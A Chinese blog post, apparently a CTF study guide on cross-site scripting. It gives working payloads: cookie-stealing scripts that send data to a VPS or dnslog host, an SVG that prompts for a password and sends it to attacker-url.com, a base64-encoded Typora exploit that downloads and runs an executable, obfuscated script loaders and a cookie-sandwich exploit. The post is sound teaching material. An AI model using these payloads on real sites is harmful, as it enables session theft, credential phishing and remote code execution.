目录

  1. 1. 前言
  2. 2. 基础
    1. 2.1. JavaScript
    2. 2.2. DOM
  3. 3. 编写 XSS Bot
    1. 3.1. Nodejs puppeteer
  4. 4. 常见payload
  5. 5. 反射型 XSS
    1. 5.1. 404
  6. 6. 存储型 XSS
    1. 6.1. svg
    2. 6.2. pdf
      1. 6.2.1. 福昕Foxit PDF(CVE-2023-27363)
      2. 6.2.2. PDF.js(CVE-2024-4367)
    3. 6.3. markdown(CVE-2023-2317 Typora RCE)
  7. 7. 常规过滤
  8. 8. CSP
  9. 9. httpOnly
    1. 9.1. cookie sandwich technique
      1. 9.1.1. 降级 cookie 解析器
      2. 9.1.2. Cookie sandwich

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

XSS Re:Master

2025/9/17 Web XSS
  |     |   总文章阅读量:

前言

关于这个的总结好像不是特别多,偏偏国外赛以及一些联合战队的比赛也爱出这个(

遂整理一点东西出来


介绍:

这是一种将任意 Javascript 代码插入到其他 Web 用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在 HTML 页面里嵌入恶意代码。当用户浏览该页时,这些潜入在 HTML 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie 窃取等。

分类:

  • 反射型 XSS:**<非持久化>** 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一次性,所见即所得,一般容易出现在搜索页面。

  • 存储型 XSS:**<持久化>** 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种 XSS 非常危险,容易造成蠕虫,大量盗窃 cookie(虽然还有种 DOM 型 XSS,但是也还是包括在存储型 XSS 内)。

  • DOM 型 XSS:基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。DOM 是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM 中有很多对象,其中一些是用户可以操纵的,如 uri,location,refelTer 等。客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格确认,就会产生 DOM XSS 漏洞。

查询接口一般容易出现反射型 XSS,留言板容易出现存储型 XSS


基础

JavaScript

菜鸟教程:https://www.runoob.com/js/js-tutorial.html

最基本的 js 语句

<script>function()</script>

当页面载入完毕后执行 Javascript 代码

<body onload="myFunction()"></body>

DOM

document.cookie

获取 cookie

这里演示一种最基本的 xss 方法

<script>window.alert(document.cookie)</script>

image-20231102204022562

document.cookie=

设置 cookie

<script>document.location.href='http://vps:port/XSS.php?1='+document.cookie</script>

转发语句,触发之后就会跳转到我们的 vps 的 http 服务并执行脚本写入文件带出 cookie

<?php
$content=$_GET[1];
if(isset($content)){
    file_put_contents('flag.txt',$content);
}else{
    echo 'no data input';
}

当然也可以直接 vps 上 nc 监听,javascript 用 fetch 请求

<script>fetch('http://192.168.173.251:666/'+document.cookie);</script>

甚至可以用 dnslog 接收

<script>fetch('http://q1sje7nttyar1hl3gyc6xqud54bvzlna.oastify.com/?a='+document.cookie);</script>

编写 XSS Bot

https://blog.csdn.net/diecai2192/article/details/102118060

Nodejs puppeteer

app.get('/botview', (req, res) => {
    const content = req.query.content || '';
    res.send(`
        <div>${content}</div>
    `);
});

async function visitAsBot(content) {
    try {
        const browser = await puppeteer.launch({
            headless: true,
            args: ['--no-sandbox', '--disable-setuid-sandbox'],
        });

        const page = await browser.newPage();
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: 'localhost',
            path: '/'
        });
        await page.goto(`http://localhost:3000/botview?content=${encodeURIComponent(content)}`, {waitUntil: 'networkidle2'});
        await sleep(3000);
        await browser.close();
    } catch (err) {
        console.log(err);
    }
}

启动无头 nosandbox 浏览器,新建页面,添加 cookie,然后跳转访问页面


常见payload

https://github.com/payloadbox/xss-payload-list/tree/master

<script>alert(1)</script>
<body onload="alert(1)"></body>
<svg onload="alert(1)"></svg>
<input onfocus="alert(1)" autofocus></input>
<iframe onload="alert(1)"></iframe>
<img src onerror="alert(1)">
<script>window['alert']('1')</script>
<iframe srcdoc="<script src='/**/alert(1)//'></script>"></iframe>

反射型 XSS

404

喜欢重写 404 的小朋友们你们好啊,我是 xss(

直接在 html 上输出可控内容是危险的设计

<?php theme_include('header'); ?>

	<section class="content wrap">
		<h1>Page not found</h1>

		<p>Unfortunately, the page <code>/<?php echo current_url(); ?></code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
	</section>

<?php theme_include('footer'); ?>
@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"
app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

存储型 XSS

https://www.freebuf.com/articles/web/261918.html

svg

可能出现在支持上传 svg 图片的头像处

可尝试构造 svg 文件,如果能够访问则会触发 xss

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009901" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>

image-20250509084952919

带外

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

        <script> 
                var passwd = prompt("Enter your password to continue");
                var xhr = new XMLHttpRequest();
                xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
                xhr.send();
        </script>

</svg>

pdf

pdf 支持嵌入 javascript,那么就有说法了

福昕Foxit PDF(CVE-2023-27363)

强网杯 S8 Final 整了个类似的,但是要求一步到位

https://github.com/webraybtl/CVE-2023-27363

https://github.com/CN016/-Foxit-PDF-CVE-2023-27363-

https://blog.csdn.net/C20220511/article/details/131397568


PDF.js(CVE-2024-4367)

当 PDF.js 配置 isEvalSupported 选项设置为 true(默认值)时,会将输入传递到特定函数

影响版本:

  • Mozilla PDF.js <4.2.67
  • pdfjs - dist (npm) < 4.2.67
  • react - pdf (npm) < 7.7.3 以及 8.0.0 <= react - pdf (npm) < 8.0.2

https://github.com/Zombie-Kaiser/cve-2024-4367-PoC-fixed

python3 CVE-2024-4367.py "alert(1);"

让 pdf.js 预览生成的 pdf

如果有使用这些版本 pdf.js 的客户端,则可以考虑 RCE

python3 CVE-2024-4367.py "require('child_process').exec('calc');"

markdown(CVE-2023-2317 Typora RCE)

https://www.freebuf.com/articles/others-articles/376873.html

Typora < 1.6.7

<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[%22%22,%22%3Csvg%2Fonload%3Dtop.eval(%60reqnode('child_process').exec('calc')%60)%3E%3C%2Fsvg%3E%22,%22%22,%22%22,%22%22,%22%22]">

可换成 cs 马

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly8xOTIuMTY4LjE0Mi4xMjg6ODk5Mi8xMjEyLmV4ZSAxMjEyLmV4ZSAmJiAxMjEyLmV4ZScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

常规过滤

空格替换:/**/%09(tab),%0c(换页符),/

大小写绕过:<sCRipT>

String.fromCharCode() :将 UTF-16 编码转换为一个字符

document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));

eval():将传入的字符串当做 JavaScript 代码进行执行,支持十六进制字符串

<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>
<!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));

十六进制字符串生成:

a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>"
res = ''
res2 = ''
for i in a:
  tmp = ord(i)
  res += str(tmp)
  res+=","
  res2 +=f"document.write(String.fromCharCode({str(tmp)}));"
# print(res)
# print(res2)
#-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本---------------
a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b"
z = 0
res = ''
for i in a:
  if z ==2:
    z=0
  if z ==0:
    res+=r"\x"
  res += i
  z+=1
print(res)

CSP

见另一篇博客 《CSP》


httpOnly

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Cookies

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的 cookie

https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie

关于 http cookie 的标准,第一个是 RFC 2109(尽管现代浏览器不支持,但是许多 web 服务器仍然支持):

Cookie: $Version=1; foo="bar"; $Path="/"; $Domain=abc;

$Version 是必须指定的属性,用于标识 cookie 规范的版本,而 $Version=1 这个标准下,在用双引号括起来时,一个 cookie 值可以包含空格、分号和等号

现代语言框架中对 cookie 头的解析:

Flask:		{"foo":"bar","$Version":"1","$Path":"/","$Domain":"abc"}
Django:		{"foo":"bar","$Version":"1","$Path":"/","$Domain":"abc"}
PHP:		{"foo":"\"bar\"","$Version":"1","$Path":"\"\/\"","$Domain":"abc"}
Ruby:		{"foo":"\"bar\"","$Version":"1","$Path":"\"\/\"","$Domain":"abc"}
Spring:		{ "foo": "\"bar\""}
SimpleCookie:	{ "foo": "bar"}

很明显它们的解析方式并没有统一

在 SpringBoot 2 + Apache Tomcat v.9.0.83 中,对于 cookie 的处理方式如下:

  • 能够处理 RFC6265 和 RFC2109 ,如果字符串以 $Version 属性开头,则默认使用旧版解析逻辑
  • 如果 cookie 值以双引号开头,它将继续读取字符直到下一个未转义的双引号,即值为双引号括起来的内容。
  • 支持 $Path$Domain 属性,如果在响应之前未正确检查反射的 cookie 属性,则可能允许用户更改反射的 cookie 属性,并且解析器将取消转义任何以反斜杠 (\) 开头的字符

效果如下:

Cookie: $Version=1; foo="\b\a\r"; $Path=/abc; $Domain=example.com

Set-Cookie: foo="bar"; Path=/abc; Domain=example.com

可以看到原先的 \b\a\r 被重新设置为了 bar,在绕过 waf 上初见端倪


在 Python 的 SimpleCookie 中,键值对支持旧版 cookie 属性,那么就和上面一样可以注入旧版 cookie 属性来取消转义绕过某些限制。

而所有基于 Python 的框架(Flask、Django 等)都允许带引号的 cookie 值,但是无法识别 $Version 一类的 magic string,会将其视为普通的 cookie 名,并且会自动解码带引号的字符串中的八进制转义序列:

"\012" <=> \n  
"\015" <=> \r  
"\073" <=> ;

实际绕过 waf 的利用在参考文章中讲得很明白了,我们的首要目标是解决 httpOnly,所以略过


现代的 Chrome 浏览器(包括 xssbot 在内)不支持旧版 cookie,因此攻击者可以创建以 $ 开头的 Cookie 名称,例如 $Version,浏览器只会视为普通字符串;而前面提过,旧版 cookie 支持双引号括起来的部分为整个字符串,那么就可以构造下面这样一个 cookie:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

此时的请求和响应会变成这样:

GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"

HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";

可以看到响应的 cookie 是 param1 ,其值为 start; sessionId=secret; param2=end

如果应用程序在响应中能够返回一个可控的 cookie 键如这里的 param1 或者没有设置 httpOnly,那么即使是 httpOnly 会话里的整个 cookie 都可以被括起来视为字符串公开出来

exp:

async function sandwich(target, cookie) {
    // Step 1: Create an iframe with target src and wait for it
    const iframe = document.createElement('iframe');

    const url = new URL(target);
    const domain = url.hostname;
    const path = url.pathname;

    iframe.src = target;
    // Hide the iframe
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    // Optional: Add your code to check and clean client's cookies if needed
    iframe.onload = async () => {
        // Step 2: Create cookie gadget
        document.cookie = `$Version=1; domain=${domain}; path=${path};`;
        document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
        document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
        // Step 3: Send a fetch request
        try {
            const response = await fetch(`${target}`, {
                credentials: 'include',
            });
            const responseData = await response.text();
            // Step 4: Alert response
            alert(responseData);
        } catch (error) {
            console.error('Error fetching data:', error);
        }
    };
}

setTimeout(sandwich, 100, 'http://example.com/json', 'session');